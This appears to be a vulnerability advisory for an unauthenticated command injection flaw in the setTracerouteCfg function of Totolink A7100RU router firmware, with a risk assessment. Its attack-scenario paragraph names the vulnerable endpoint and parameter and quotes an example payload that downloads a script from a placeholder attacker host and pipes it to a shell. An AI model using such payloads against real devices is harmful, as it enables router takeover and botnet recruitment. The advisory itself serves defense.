A7100Ru EUVD-2026-21748

Remote unauthenticated attacker can exploit the setTracerouteCfg function in /cgi-bin/cstecgi.cgi on Totolik A7100RU firmware 7.4cu.2313_b20191024 by injecting OS commands via the 'command' parameter. No authentication or user interaction required.

Real-world risk is CRITICAL based on converging threat indicators. CVSS 9.8 reflects worst-case exploitability: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), with complete confidentiality, integrity, and availability impact. The publicly available GitHub POC (https://github.com/Litengzheng/vuldb_new) transforms this from theoretical to practical threat, enabling script-kiddie exploitation. While CISA KEV status is not confirmed (indicating no federal agency observations of active exploitation), the combination of unauthenticated remote access, trivial exploitation, and public POC creates high probability of opportunistic scanning and botnet incorporation. SSVC framework assessment: Exploitation=POC, Automatable=Yes (network service with no auth), Technical Impact=Total (root-level command execution). Absent EPSS data, empirical risk indicators suggest immediate patch priority. Consumer routers rarely receive timely updates, creating long-tail exposure windows.

An unauthenticated attacker on the internet identifies an exposed Totolink A7100RU router through Shodan or automated scanning of default web management ports (typically TCP 80/443). Using the publicly available GitHub exploit, the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'command' parameter containing shell metacharacters and payload (e.g., ';wget http://attacker.com/malware.sh|sh;'). The setTracerouteCfg function executes the injected commands with root privileges, allowing the attacker to download and run a botnet client, establish persistent backdoor access via modified startup scripts, exfiltrate network traffic including credentials, or pivot to internal network devices.